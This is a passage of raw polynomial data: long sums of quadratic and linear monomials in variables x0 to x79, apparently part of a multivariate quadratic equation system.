x12*x21 + x12*x24 + x12*x26 + x12*x28 + x12*x31 + x12*x33 + x12*x42 + x12*x44 + x12*x47 + x12*x48 + x12*x49 + x12*x52 + x12*x55 + x12*x57 + x12*x59 + x12*x60 + x12*x65 + x12*x66 + x12*x67 + x12*x70 + x12*x71 + x12*x72 + x12*x73 + x12*x76 + x12*x77 + x12*x79 + x13*x18 + x13*x26 + x13*x27 + x13*x28 + x13*x29 + x13*x32 + x13*x33 + x13*x34 + x13*x36 + x13*x37 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x45 + x13*x48 + x13*x49 + x13*x51 + x13*x53 + x13*x54 + x13*x56 + x13*x57 + x13*x59 + x13*x60 + x13*x61 + x13*x62 + x13*x64 + x13*x67 + x13*x68 + x13*x69 + x13*x71 + x13*x75 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x20 + x14*x23 + x14*x25 + x14*x26 + x14*x27 + x14*x28 + x14*x33 + x14*x35 + x14*x41 + x14*x42 + x14*x45 + x14*x47 + x14*x48 + x14*x49 + x14*x51 + x14*x54 + x14*x56 + x14*x57 + x14*x58 + x14*x59 + x14*x63 + x14*x72 + x14*x74 + x14*x75 + x14*x76 + x14*x79 + x15*x16 + x15*x18 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x28 + x15*x29 + x15*x30 + x15*x32 + x15*x34 + x15*x39 + x15*x44 + x15*x45 + x15*x48 + x15*x51 + x15*x53 + x15*x56 + x15*x59 + x15*x61 + x15*x65 + x15*x66 + x15*x68 + x15*x69 + x15*x70 + x15*x71 + x15*x73 + x15*x77 + x16*x20 + x16*x21 + x16*x22 + x16*x23 + x16*x25 + x16*x26 + x16*x27 + x16*x32 + x16*x33 + x16*x34 + x16*x35 + x16*x37 + x16*x40 + x16*x41 + x16*x42 + x16*x43 + x16*x44 + x16*x47 + x16*x50 + x16*x51 + x16*x52 + x16*x54 + x16*x55 + x16*x57 + x16*x58 + x16*x61 + x16*x63 + x16*x64 + x16*x68 + x16*x70 + x16*x71 + x16*x73 + x16*x74 + x16*x76 + x16*x77 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x23 + x17*x24 + x17*x25 + x17*x26 + x17*x27 + x17*x29 + x17*x31 + x17*x33 + x17*x34 + x17*x36 + x17*x37 + x17*x39 + x17*x43 + x17*x51 + x17*x52 + x17*x53 + x17*x54 + x17*x55 + x17*x59 + x17*x61 + x17*x62 + x17*x65 + x17*x67 + x17*x71 + x17*x74 + x17*x77 + x18*x19 + x18*x20 + x18*x21 + x18*x22 + x18*x23 + x18*x29 + x18*x30 + x18*x34 + x18*x35 + x18*x37 + x18*x39 + x18*x40 + x18*x41 + x18*x42 + x18*x46 + x18*x47 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x55 + x18*x60 + x18*x63 + x18*x65 + x18*x66 + x18*x67 + x18*x72 + x18*x76 + x19*x21 + x19*x22 + x19*x24 + x19*x26 + x19*x28 + x19*x29 + x19*x31 + x19*x34 + x19*x35 + x19*x36 + x19*x38 + x19*x39 + x19*x40 + x19*x41 + x19*x46 + x19*x48 + x19*x51 + x19*x53 + x19*x54 + x19*x55 + x19*x56 + x19*x59 + x19*x62 + x19*x63 + x19*x64 + x19*x66 + x19*x67 + x19*x68 + x19*x69 + x19*x72 + x19*x74 + x19*x75 + x19*x76 + x19*x77 + x19*x78 + x19 + x20*x21 + x20*x22 + x20*x23 + x20*x26 + x20*x30 + x20*x32 + x20*x33 + x20*x34 + x20*x35 + x20*x39 + x20*x41 + x20*x43 + x20*x46 + x20*x51 + x20*x52 + x20*x53 + x20*x54 + x20*x56 + x20*x58 + x20*x61 + x20*x65 + x20*x67 + x20*x68 + x20*x70 + x20*x72 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x21*x22 + x21*x23 + x21*x26 + x21*x27 + x21*x28 + x21*x32 + x21*x34 + x21*x35 + x21*x36 + x21*x38 + x21*x42 + x21*x43 + x21*x44 + x21*x50 + x21*x52 + x21*x61 + x21*x62 + x21*x64 + x21*x65 + x21*x66 + x21*x68 + x21*x72 + x21*x73 + x21*x76 + x21*x77 + x21*x79 + x22*x25 + x22*x28 + x22*x29 + x22*x32 + x22*x34 + x22*x37 + x22*x40 + x22*x43 + x22*x44 + x22*x47 + x22*x48 + x22*x53 + x22*x54 + x22*x61 + x22*x63 + x22*x64 + x22*x67 + x22*x68 + x22*x71 + x22*x72 + x22*x73 + x22*x74 + x22*x75 + x22*x78 + x23*x24 + x23*x25 + x23*x28 + x23*x31 + x23*x32 + x23*x38 + x23*x40 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x49 + x23*x51 + x23*x53 + x23*x55 + x23*x56 + x23*x58 + x23*x61 + x23*x64 + x23*x66 + x23*x67 + x23*x68 + x23*x69 + x23*x75 + x23*x76 + x23*x78 + x23*x79 + x24*x26 + x24*x28 + x24*x29 + x24*x33 + x24*x36 + x24*x37 + x24*x38 + x24*x40 + x24*x41 + x24*x42 + x24*x44 + x24*x45 + x24*x46 + x24*x47 + x24*x48 + x24*x50 + x24*x52 + x24*x53 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x64 + x24*x66 + x24*x67 + x24*x70 + x24*x73 + x24*x76 + x24 + x25*x27 + x25*x30 + x25*x31 + x25*x32 + x25*x33 + x25*x34 + x25*x36 + x25*x40 + x25*x42 + x25*x44 + x25*x46 + x25*x47 + x25*x48 + x25*x49 + x25*x51 + x25*x52 + x25*x53 + x25*x54 + x25*x56 + x25*x58 + x25*x59 + x25*x62 + x25*x63 + x25*x64 + x25*x67 + x25*x68 + x25*x71 + x25*x74 + x25*x75 + x25*x76 + x25*x79 + x25 + x26*x27 + x26*x28 + x26*x31 + x26*x32 + x26*x33 + x26*x36 + x26*x37 + x26*x39 + x26*x43 + x26*x44 + x26*x47 + x26*x48 + x26*x49 + x26*x50 + x26*x52 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x61 + x26*x66 + x26*x67 + x26*x68 + x26*x69 + x26*x72 + x26*x76 + x26*x78 + x26 + x27*x28 + x27*x30 + x27*x32 + x27*x33 + x27*x35 + x27*x36 + x27*x37 + x27*x40 + x27*x42 + x27*x43 + x27*x44 + x27*x47 + x27*x48 + x27*x55 + x27*x56 + x27*x57 + x27*x58 + x27*x60 + x27*x63 + x27*x64 + x27*x65 + x27*x66 + x27*x67 + x27*x68 + x27*x69 + x27*x74 + x27*x77 + x27*x78 + x28*x29 + x28*x34 + x28*x39 + x28*x40 + x28*x41 + x28*x42 + x28*x46 + x28*x47 + x28*x48 + x28*x50 + x28*x51 + x28*x53 + x28*x54 + x28*x55 + x28*x56 + x28*x57 + x28*x60 + x28*x61 + x28*x63 + x28*x68 + x28*x73 + x28*x75 + x28*x76 + x28*x78 + x28*x79 + x28 + x29*x33 + x29*x40 + x29*x44 + x29*x49 + x29*x50 + x29*x51 + x29*x52 + x29*x58 + x29*x59 + x29*x64 + x29*x69 + x29*x70 + x29*x73 + x29*x77 + x29*x79 + x29 + x30*x31 + x30*x32 + x30*x33 + x30*x34 + x30*x36 + x30*x37 + x30*x38 + x30*x39 + x30*x40 + x30*x42 + x30*x43 + x30*x47 + x30*x48 + x30*x50 + x30*x51 + x30*x52 + x30*x55 + x30*x56 + x30*x58 + x30*x59 + x30*x61 + x30*x62 + x30*x68 + x30*x71 + x30*x72 + x30*x73 + x30*x74 + x30*x76 + x30*x77 + x30*x78 + x30*x79 + x31*x32 + x31*x33 + x31*x36 + x31*x38 + x31*x39 + x31*x42 + x31*x43 + x31*x48 + x31*x52 + x31*x53 + x31*x55 + x31*x58 + x31*x60 + x31*x63 + x31*x66 + x31*x67 + x31*x69 + x31*x70 + x31*x72 + x31*x73 + x31*x75 + x31*x78 + x31*x79 + x31 + x32*x36 + x32*x37 + x32*x39 + x32*x42 + x32*x43 + x32*x45 + x32*x46 + x32*x48 + x32*x49 + x32*x53 + x32*x57 + x32*x58 + x32*x59 + x32*x60 + x32*x67 + x32*x68 + x32*x70 + x32*x71 + x32*x75 + x33*x35 + x33*x37 + x33*x39 + x33*x41 + x33*x45 + x33*x50 + x33*x51 + x33*x52 + x33*x54 + x33*x59 + x33*x62 + x33*x63 + x33*x64 + x33*x65 + x33*x66 + x33*x68 + x33*x72 + x33*x73 + x33*x75 + x33*x76 + x33*x77 + x34*x35 + x34*x36 + x34*x38 + x34*x40 + x34*x41 + x34*x42 + x34*x43 + x34*x44 + x34*x47 + x34*x48 + x34*x51 + x34*x53 + x34*x54 + x34*x55 + x34*x57 + x34*x58 + x34*x67 + x34*x69 + x34*x70 + x34*x71 + x34*x72 + x34*x73 + x34*x75 + x34*x78 + x34*x79 + x34 + x35*x36 + x35*x37 + x35*x39 + x35*x41 + x35*x44 + x35*x46 + x35*x47 + x35*x48 + x35*x49 + x35*x50 + x35*x51 + x35*x52 + x35*x53 + x35*x54 + x35*x55 + x35*x56 + x35*x57 + x35*x58 + x35*x59 + x35*x63 + x35*x64 + x35*x65 + x35*x68 + x35*x69 + x35*x70 + x35*x71 + x35*x72 + x35*x73 + x35*x74 + x35*x76 + x35 + x36*x37 + x36*x38 + x36*x39 + x36*x40 + x36*x44 + x36*x47 + x36*x49 + x36*x51 + x36*x52 + x36*x57 + x36*x58 + x36*x59 + x36*x60 + x36*x61 + x36*x65 + x36*x66 + x36*x70 + x36*x71 + x36*x74 + x36*x75 + x36*x77 + x37*x38 + x37*x40 + x37*x41 + x37*x44 + x37*x45 + x37*x46 + x37*x53 + x37*x55 + x37*x56 + x37*x64 + x37*x68 + x37*x70 + x37*x72 + x37*x75 + x37*x76 + x37*x78 + x37*x79 + x37 + x38*x39 + x38*x41 + x38*x42 + x38*x44 + x38*x45 + x38*x49 + x38*x50 + x38*x51 + x38*x56 + x38*x57 + x38*x61 + x38*x63 + x38*x64 + x38*x65 + x38*x67 + x38*x69 + x38*x72 + x38*x73 + x38*x75 + x38*x76 + x38*x77 + x38*x78 + x38 + x39*x40 + x39*x43 + x39*x46 + x39*x47 + x39*x48 + x39*x49 + x39*x51 + x39*x55 + x39*x61 + x39*x62 + x39*x64 + x39*x65 + x39*x66 + x39*x67 + x39*x68 + x39*x69 + x39*x72 + x39*x73 + x39*x74 + x39*x75 + x39*x76 + x40*x42 + x40*x46 + x40*x50 + x40*x54 + x40*x55 + x40*x56 + x40*x59 + x40*x60 + x40*x61 + x40*x63 + x40*x67 + x40*x69 + x40*x70 + x40*x73 + x40*x75 + x40*x79 + x41*x42 + x41*x45 + x41*x46 + x41*x47 + x41*x50 + x41*x51 + x41*x52 + x41*x53 + x41*x56 + x41*x57 + x41*x60 + x41*x61 + x41*x65 + x41*x66 + x41*x67 + x41*x69 + x41*x71 + x41*x72 + x41*x74 + x41*x79 + x41 + x42*x43 + x42*x45 + x42*x46 + x42*x47 + x42*x50 + x42*x53 + x42*x55 + x42*x56 + x42*x60 + x42*x61 + x42*x62 + x42*x64 + x42*x65 + x42*x67 + x42*x72 + x42*x73 + x42*x74 + x42*x75 + x42*x76 + x42*x77 + x42*x78 + x43*x44 + x43*x46 + x43*x47 + x43*x48 + x43*x49 + x43*x53 + x43*x55 + x43*x58 + x43*x63 + x43*x64 + x43*x66 + x43*x67 + x43*x68 + x43*x69 + x43*x70 + x43*x73 + x43*x77 + x43*x78 + x43*x79 + x44*x45 + x44*x47 + x44*x49 + x44*x50 + x44*x51 + x44*x53 + x44*x55 + x44*x57 + x44*x60 + x44*x61 + x44*x64 + x44*x66 + x44*x70 + x44*x72 + x44*x73 + x44*x75 + x44*x76 + x44*x77 + x44*x78 + x44*x79 + x45*x46 + x45*x47 + x45*x48 + x45*x51 + x45*x55 + x45*x56 + x45*x57 + x45*x59 + x45*x60 + x45*x62 + x45*x65 + x45*x66 + x45*x70 + x45*x71 + x45*x75 + x45*x76 + x45*x77 + x45 + x46*x47 + x46*x49 + x46*x51 + x46*x52 + x46*x58 + x46*x59 + x46*x62 + x46*x64 + x46*x66 + x46*x69 + x46*x74 + x46*x77 + x46*x78 + x47*x48 + x47*x50 + x47*x51 + x47*x54 + x47*x60 + x47*x62 + x47*x65 + x47*x67 + x47*x69 + x47*x70 + x47*x71 + x47*x72 + x47*x73 + x47*x79 + x47 + x48*x54 + x48*x59 + x48*x61 + x48*x62 + x48*x65 + x48*x68 + x48*x70 + x48*x74 + x48*x76 + x48*x78 + x49*x50 + x49*x51 + x49*x52 + x49*x56 + x49*x57 + x49*x58 + x49*x60 + x49*x61 + x49*x62 + x49*x63 + x49*x65 + x49*x66 + x49*x69 + x49*x70 + x49*x74 + x49*x75 + x49*x77 + x49*x79 + x50*x53 + x50*x54 + x50*x55 + x50*x56 + x50*x57 + x50*x58 + x50*x61 + x50*x62 + x50*x64 + x50*x65 + x50*x67 + x50*x68 + x50*x70 + x50*x71 + x50*x72 + x50*x73 + x50*x76 + x50*x77 + x50 + x51*x52 + x51*x53 + x51*x54 + x51*x55 + x51*x61 + x51*x62 + x51*x63 + x51*x64 + x51*x66 + x51*x69 + x51*x70 + x51*x72 + x51*x73 + x51*x74 + x51*x76 + x51*x78 + x51*x79 + x51 + x52*x54 + x52*x55 + x52*x56 + x52*x59 + x52*x61 + x52*x63 + x52*x65 + x52*x67 + x52*x70 + x52*x71 + x52*x78 + x52*x79 + x52 + x53*x54 + x53*x55 + x53*x56 + x53*x60 + x53*x61 + x53*x62 + x53*x64 + x53*x67 + x53*x70 + x53*x72 + x53*x74 + x53*x75 + x53*x78 + x53*x79 + x54*x56 + x54*x57 + x54*x61 + x54*x62 + x54*x65 + x54*x66 + x54*x67 + x54*x73 + x54*x75 + x54*x77 + x54 + x55*x56 + x55*x57 + x55*x59 + x55*x60 + x55*x62 + x55*x64 + x55*x65 + x55*x67 + x55*x68 + x55*x70 + x55*x71 + x55*x73 + x55*x76 + x55*x77 + x55*x78 + x55 + x56*x57 + x56*x58 + x56*x60 + x56*x64 + x56*x65 + x56*x66 + x56*x68 + x56*x69 + x56*x72 + x56*x76 + x56*x77 + x56*x78 + x57*x59 + x57*x62 + x57*x65 + x57*x68 + x57*x69 + x57*x70 + x57*x74 + x57*x75 + x57*x76 + x57*x77 + x57*x78 + x57*x79 + x58*x59 + x58*x60 + x58*x61 + x58*x62 + x58*x64 + x58*x65 + x58*x66 + x58*x68 + x58*x69 + x58*x71 + x58*x72 + x58*x73 + x58*x74 + x58*x77 + x58*x79 + x59*x60 + x59*x61 + x59*x62 + x59*x63 + x59*x64 + x59*x65 + x59*x66 + x59*x68 + x59*x70 + x59*x73 + x59*x74 + x59*x76 + x59 + x60*x63 + x60*x68 + x60*x69 + x60*x70 + x60*x71 + x60*x72 + x60*x75 + x60*x77 + x61*x62 + x61*x63 + x61*x67 + x61*x68 + x61*x69 + x61*x75 + x61*x77 + x61*x79 + x61 + x62*x63 + x62*x64 + x62*x65 + x62*x68 + x62*x70 + x62*x73 + x62*x74 + x62*x76 + x63*x65 + x63*x66 + x63*x67 + x63*x68 + x63*x70 + x63*x72 + x63*x73 + x63*x74 + x63*x75 + x63*x77 + x63*x78 + x63*x79 + x64*x66 + x64*x67 + x64*x68 + x64*x69 + x64*x70 + x64*x71 + x64*x73 + x64*x77 + x65*x69 + x65*x78 + x65*x79 + x65 + x66*x68 + x66*x69 + x66*x70 + x66*x71 + x66*x75 + x66 + x67*x70 + x67*x73 + x67*x74 + x67*x75 + x67*x76 + x67*x79 + x67 + x68*x69 + x68*x71 + x68*x72 + x68*x77 + x68*x78 + x68 + x69*x71 + x69*x72 + x69*x76 + x70*x72 + x70*x74 + x70*x75 + x70*x76 + x70*x77 + x70*x78 + x70 + x71*x73 + x71*x74 + x71*x77 + x71*x79 + x71 + x72*x77 + x72*x78 + x73*x74 + x73*x79 + x73 + x74*x75 + x74*x77 + x74 + x75*x76 + x75*x77 + x75 + x76*x78 + x76*x79 + x77*x78 + x78, x0*x3 + x0*x4 + x0*x5 + x0*x7 + x0*x9 + x0*x11 + x0*x13 + x0*x14 + x0*x17 + x0*x18 + x0*x19 + x0*x21 + x0*x23 + x0*x24 + x0*x25 + x0*x26 + x0*x27 + x0*x30 + x0*x31 + x0*x34 + x0*x35 + x0*x37 + x0*x38 + x0*x47 + x0*x48 + x0*x50 + x0*x51 + x0*x55 + x0*x56 + x0*x58 + x0*x60 + x0*x62 + x0*x64 + x0*x67 + x0*x68 + x0*x69 + x0*x72 + x0*x74 + x0*x76 + x0*x77 + x0 + x1*x2 + x1*x4 + x1*x9 + x1*x10 + x1*x11 + x1*x12 + x1*x21 + x1*x23 + x1*x24 + x1*x27 + x1*x28 + x1*x29 + x1*x31 + x1*x33 + x1*x34 + x1*x36 + x1*x41 + x1*x43 + x1*x44 + x1*x47 + x1*x49 + x1*x50 + x1*x53 + x1*x56 + x1*x58 + x1*x62 + x1*x64 + x1*x65 + x1*x67 + x1*x68 + x1*x70 + x1*x71 + x1*x73 + x1*x75 + x1*x79 + x2*x3 + x2*x5 + x2*x6 + x2*x12 + x2*x13 + x2*x18 + x2*x19 + x2*x24 + x2*x29 + x2*x31 + x2*x33 + x2*x34 + x2*x35 + x2*x36 + x2*x38 + x2*x40 + x2*x47 + x2*x48 + x2*x50 + x2*x51 + x2*x52 + x2*x54 + x2*x55 + x2*x58 + x2*x59 + x2*x60 + x2*x63 + x2*x65 + x2*x66 + x2*x67 + x2*x69 + x2*x72 + x2*x76 + x2*x77 + x2*x79 + x3*x4 + x3*x5 + x3*x7 + x3*x8 + x3*x11 + x3*x14 + x3*x15 + x3*x17 + x3*x19 + x3*x20 + x3*x22 + x3*x23 + x3*x24 + x3*x26 + x3*x27 + x3*x28 + x3*x33 + x3*x34 + x3*x35 + x3*x36 + x3*x37 + x3*x40 + x3*x44 + x3*x45 + x3*x48 + x3*x49 + x3*x51 + x3*x52 + x3*x53 + x3*x55 + x3*x57 + x3*x58 + x3*x60 + x3*x65 + x3*x66 + x3*x67 + x3*x68 + x3*x69 + x3*x71 + x3*x72 + x3*x74 + x3*x76 + x3 + x4*x5 + x4*x7 + x4*x8 + x4*x10 + x4*x11 + x4*x13 + x4*x14 + x4*x15 + x4*x16 + x4*x17 + x4*x19 + x4*x21 + x4*x23 + x4*x24 + x4*x25 + x4*x26 + x4*x30 + x4*x31 + x4*x32 + x4*x35 + x4*x36 + x4*x39 + x4*x40 + x4*x42 + x4*x43 + x4*x45 + x4*x46 + x4*x50 + x4*x51 + x4*x52 + x4*x54 + x4*x57 + x4*x62 + x4*x64 + x4*x66 + x4*x67 + x4*x70 + x4*x72 + x4*x73 + x4*x74 + x4*x75 + x4*x77 + x4*x79 + x4 + x5*x6 + x5*x7 + x5*x8 + x5*x9 + x5*x11 + x5*x12 + x5*x15 + x5*x16 + x5*x18 + x5*x20 + x5*x21 + x5*x23 + x5*x26 + x5*x27 + x5*x29 + x5*x30 + x5*x31 + x5*x35 + x5*x36 + x5*x37 + x5*x40 + x5*x41 + x5*x46 + x5*x50 + x5*x51 + x5*x53 + x5*x54 + x5*x57 + x5*x59 + x5*x62 + x5*x63 + x5*x64 + x5*x65 + x5*x66 + x5*x68 + x5*x70 + x5*x71 + x5*x72 + x5*x74 + x5*x76 + x5*x79 + x6*x7 + x6*x8 + x6*x10 + x6*x12 + x6*x14 + x6*x16 + x6*x18 + x6*x19 + x6*x20 + x6*x21 + x6*x23 + x6*x28 + x6*x29 + x6*x30 + x6*x31 + x6*x32 + x6*x34 + x6*x38 + x6*x40 + x6*x44 + x6*x45 + x6*x50 + x6*x53 + x6*x54 + x6*x55 + x6*x56 + x6*x57 + x6*x59 + x6*x61 + x6*x62 + x6*x64 + x6*x65 + x6*x66 + x6*x70 + x6*x72 + x6*x73 + x6*x75 + x6*x79 + x7*x12 + x7*x13 + x7*x14 + x7*x19 + x7*x20 + x7*x21 + x7*x24 + x7*x26 + x7*x27 + x7*x31 + x7*x35 + x7*x37 + x7*x39 + x7*x42 + x7*x44 + x7*x45 + x7*x46 + x7*x47 + x7*x48 + x7*x49 + x7*x55 + x7*x58 + x7*x59 + x7*x61 + x7*x62 + x7*x63 + x7*x66 + x7*x68 + x7*x72 + x7*x73 + x7*x76 + x7*x77 + x7*x78 + x8*x11 + x8*x13 + x8*x14 + x8*x15 + x8*x16 + x8*x17 + x8*x18 + x8*x20 + x8*x23 + x8*x24 + x8*x27 + x8*x28 + x8*x30 + x8*x33 + x8*x34 + x8*x36 + x8*x37 + x8*x39 + x8*x41 + x8*x43 + x8*x44 + x8*x45 + x8*x47 + x8*x49 + x8*x50 + x8*x52 + x8*x54 + x8*x57 + x8*x58 + x8*x59 + x8*x60 + x8*x61 + x8*x62 + x8*x64 + x8*x65 + x8*x67 + x8*x72 + x8*x77 + x8 + x9*x10 + x9*x11 + x9*x14 + x9*x15 + x9*x16 + x9*x17 + x9*x18 + x9*x20 + x9*x21 + x9*x22 + x9*x24 + x9*x25 + x9*x32 + x9*x35 + x9*x36 + x9*x37 + x9*x38 + x9*x45 + x9*x46 + x9*x48 + x9*x51 + x9*x54 + x9*x55 + x9*x56 + x9*x57 + x9*x58 + x9*x59 + x9*x61 + x9*x66 + x9*x68 + x9*x69 + x9*x74 + x9*x76 + x9*x77 + x9*x79 + x9 + x10*x14 + x10*x17 + x10*x18 + x10*x23 + x10*x25 + x10*x30 + x10*x33 + x10*x37 + x10*x41 + x10*x44 + x10*x45 + x10*x46 + x10*x47 + x10*x49 + x10*x50 + x10*x53 + x10*x54 + x10*x55 + x10*x56 + x10*x60 + x10*x61 + x10*x64 + x10*x65 + x10*x66 + x10*x67 + x10*x68 + x10*x71 + x10*x73 + x10*x76 + x10*x77 + x10*x79 + x10 + x11*x13 + x11*x16 + x11*x17 + x11*x18 + x11*x20 + x11*x21 + x11*x23 + x11*x24 + x11*x25 + x11*x30 + x11*x31 + x11*x34 + x11*x35 + x11*x37 + x11*x38 + x11*x40 + x11*x42 + x11*x45 + x11*x52 + x11*x54 + x11*x57 + x11*x60 + x11*x62 + x11*x65 + x11*x66 + x11*x70 + x11*x73 + x11*x76 + x11*x77 + x11*x78 + x11*x79 + x12*x14 + x12*x15 + x12*x16 + x12*x17 + x12*x18 + x12*x20 + x12*x21 + x12*x23 + x12*x24 + x12*x26 + x12*x28 + x12*x29 + x12*x30 + x12*x31 + x12*x33 + x12*x37 + x12*x42 + x12*x43 + x12*x46 + x12*x47 + x12*x49 + x12*x53 + x12*x54 + x12*x55 + x12*x56 + x12*x59 + x12*x61 + x12*x62 + x12*x63 + x12*x64 + x12*x67 + x12*x69 + x12*x70 + x12*x72 + x12*x75 + x12*x78 + x12*x79 + x12 + x13*x15 + x13*x16 + x13*x22 + x13*x25 + x13*x27 + x13*x28 + x13*x32 + x13*x36 + x13*x39 + x13*x40 + x13*x41 + x13*x42 + x13*x43 + x13*x45 + x13*x46 + x13*x49 + x13*x51 + x13*x54 + x13*x55 + x13*x56 + x13*x57 + x13*x63 + x13*x64 + x13*x65 + x13*x67 + x13*x68 + x13*x69 + x13*x70 + x13*x71 + x13*x72 + x13*x73 + x13*x74 + x13*x77 + x13*x78 + x13 + x14*x15 + x14*x16 + x14*x17 + x14*x19 + x14*x25 + x14*x31 + x14*x33 + x14*x34 + x14*x35 + x14*x36 + x14*x38 + x14*x39 + x14*x40 + x14*x42 + x14*x45 + x14*x46 + x14*x49 + x14*x54 + x14*x61 + x14*x62 + x14*x63 + x14*x64 + x14*x68 + x14*x70 + x14*x72 + x14*x76 + x14*x77 + x14*x78 + x14*x79 + x14 + x15*x17 + x15*x18 + x15*x20 + x15*x22 + x15*x24 + x15*x25 + x15*x26 + x15*x27 + x15*x29 + x15*x30 + x15*x32 + x15*x34 + x15*x36 + x15*x41 + x15*x42 + x15*x44 + x15*x47 + x15*x48 + x15*x49 + x15*x50 + x15*x52 + x15*x53 + x15*x54 + x15*x55 + x15*x61 + x15*x62 + x15*x63 + x15*x67 + x15*x68 + x15*x73 + x15*x76 + x15*x77 + x15*x78 + x15*x79 + x15 + x16*x18 + x16*x20 + x16*x21 + x16*x23 + x16*x25 + x16*x26 + x16*x30 + x16*x33 + x16*x35 + x16*x37 + x16*x38 + x16*x40 + x16*x41 + x16*x42 + x16*x45 + x16*x47 + x16*x52 + x16*x53 + x16*x55 + x16*x56 + x16*x57 + x16*x58 + x16*x59 + x16*x63 + x16*x67 + x16*x72 + x16*x73 + x16*x74 + x16*x76 + x16 + x17*x18 + x17*x19 + x17*x20 + x17*x26 + x17*x28 + x17*x32 + x17*x34 + x17*x35 + x17*x36 + x17*x37 + x17*x39 + x17*x40 + x17*x42 + x17*x43 + x17*x44 + x17*x45 + x17*x49 + x17*x54 + x17*x55 + x17*x56 + x17*x59 + x17*x61 + x17*x62 + x17*x63 + x17*x64 + x17*x65 + x17*x67 + x17*x69 + x17*x70 + x17*x71 + x17*x72 + x17*x73 + x17*x76 + x17*x78 + x17*x79 + x18*x20 + x18*x25 + x18*x28 + x18*x29 + x18*x30 + x18*x31 + x18*x32 + x18*x34 + x18*x37 + x18*x38 + x18*x41 + x18*x45 + x18*x49 + x18*x51 + x18*x53 + x18*x54 + x18*x58 + x18*x59 + x18*x60 + x18*x61 + x18*x65 + x18*x68 + x18*x70 + x18*x72 + x18*x73 + x18*x74 + x18*x75 + x18*x76 + x18*x77 + x18 + x19*x22 + x19*x23 + x19*x24 + x19*x26 + x19*x27 + x19*x28 + x19*x31 + x19*x32 + x19*x33 + x19*x35 + x19*x36 + x19*x37 + x19*x38 + x19*x41 + x19*x42 + x19*x43 + x19*x44 + x19*x46 + x19*x47 + x19*x50 + x19*x51 + x19*x56 + x19*x57 + x19*x58 + x19*x59 + x19*x61 + x19*x64 + x19*x65 + x19*x66 + x19*x67 + x19*x72 + x19*x74 + x19*x79 + x19 + x20*x21 + x20*x23 + x20*x25 + x20*x26 + x20*x28 + x20*x30 + x20*x31 + x20*x34 + x20*x36 + x20*x39 + x20*x40 + x20*x42 + x20*x44 + x20*x45 + x20*x48 + x20*x50 + x20*x52 + x20*x54 + x20*x57 + x20*x62 + x20*x64 + x20*x70 + x20*x75 + x20*x76 + x20*x78 + x20*x79 + x20 + x21*x26 + x21*x29 + x21*x30 + x21*x34 + x21*x35 + x21*x36 + x21*x37 + x21*x38 + x21*x39 + x21*x40 + x21*x41 + x21*x45 + x21*x47 + x21*x49 + x21*x54 + x21*x55 + x21*x56 + x21*x58 + x21*x62 + x21*x64 + x21*x65 + x21*x66 + x21*x68 + x21*x72 + x21*x74 + x21*x76 + x21*x79 + x21 + x22*x23 + x22*x28 + x22*x29 + x22*x31 + x22*x32 + x22*x33 + x22*x34 + x22*x35 + x22*x37 + x22*x40 + x22*x41 + x22*x48 + x22*x49 + x22*x50 + x22*x51 + x22*x53 + x22*x55 + x22*x57 + x22*x59 + x22*x62 + x22*x63 + x22*x65 + x22*x66 + x22*x67 + x22*x68 + x22*x69 + x22*x74 + x22*x77 + x23*x25 + x23*x26 + x23*x27 + x23*x29 + x23*x30 + x23*x34 + x23*x36 + x23*x37 + x23*x38 + x23*x41 + x23*x42 + x23*x43 + x23*x44 + x23*x45 + x23*x46 + x23*x48 + x23*x49 + x23*x50 + x23*x53 + x23*x54 + x23*x57 + x23*x58 + x23*x59 + x23*x61 + x23*x64 + x23*x65 + x23*x66 + x23*x70 + x23*x72 + x23*x74 + x23*x77 + x24*x27 + x24*x28 + x24*x30 + x24*x31 + x24*x33 + x24*x36 + x24*x37 + x24*x38 + x24*x42 + x24*x46 + x24*x48 + x24*x50 + x24*x51 + x24*x54 + x24*x56 + x24*x59 + x24*x61 + x24*x62 + x24*x63 + x24*x65 + x24*x66 + x24*x70 + x24*x72 + x24*x74 + x24*x75 + x24*x77 + x24*x79 + x24 + x25*x27 + x25*x28 + x25*x29 + x25*x30 + x25*x33 + x25*x35 + x25*x36 + x25*x38 + x25*x39 + x25*x40 + x25*x42 + x25*x43 + x25*x44 + x25*x45 + x25*x46 + x25*x47 + x25*x48 + x25*x54 + x25*x56 + x25*x58 + x25*x59 + x25*x61 + x25*x62 + x25*x64 + x25*x66 + x25*x67 + x25*x68 + x25*x75 + x25*x76 + x25*x77 + x25*x78 + x25*x79 + x25 + x26*x27 + x26*x29 + x26*x30 + x26*x31 + x26*x34 + x26*x36 + x26*x37 + x26*x38 + x26*x47 + x26*x48 + x26*x51 + x26*x54 + x26*x55 + x26*x56 + x26*x57 + x26*x58 + x26*x59 + x26*x61 + x26*x62 + x26*x63 + x26*x64 + x26*x67 + x26*x68 + x26*x71 + x26*x72 + x26*x74 + x26*x75 + x26*x77 + x26*x78 + x26 + x27*x29 + x27*x31 + x27*x32 + x27*x35 + x27*x37 + x27*x38 + x27*x39 + x27*x40 + x27*x41 + x27*x46 + x27*x49 + x27*x52 + x27*x53 + x27*x56 + x27*x57 + x27*x59 + x27*x60 + x27*x62 + x27*x64 + x27*x68 + x27*x70 + x27*x73 + x27*x74 + x27*x75 + x27*x76 + x27*x77 + x27*x79 + x28*x33 + x28*x35 + x28*x38 + x28*x40 + x28*x42 + x28*x51 + x28*x59 + x28*x60 + x28*x61 + x28*x62 + x28*x66 + x28*x67 + x28*x68 + x28*x72 + x28*x73 + x28*x74 + x28*x75 + x28*x77 + x28*x78 + x28*x79 + x29*x33 + x29*x34 + x29*x36 + x29*x37 + x29*x39 + x29*x40 + x29*x43 + x29*x46 + x29*x47 + x29*x48 + x29*x50 + x29*x51 + x29*x52 + x29*x57 + x29*x58 + x29*x60 + x29*x61 + x29*x62 + x29*x64 + x29*x66 + x29*x70 + x29*x71 + x29*x73 + x29*x74 + x29*x78 + x30*x34 + x30*x36 + x30*x40 + x30*x41 + x30*x43 + x30*x46 + x30*x47 + x30*x50 + x30*x51 + x30*x53 + x30*x54 + x30*x58 + x30*x63 + x30*x64 + x30*x71 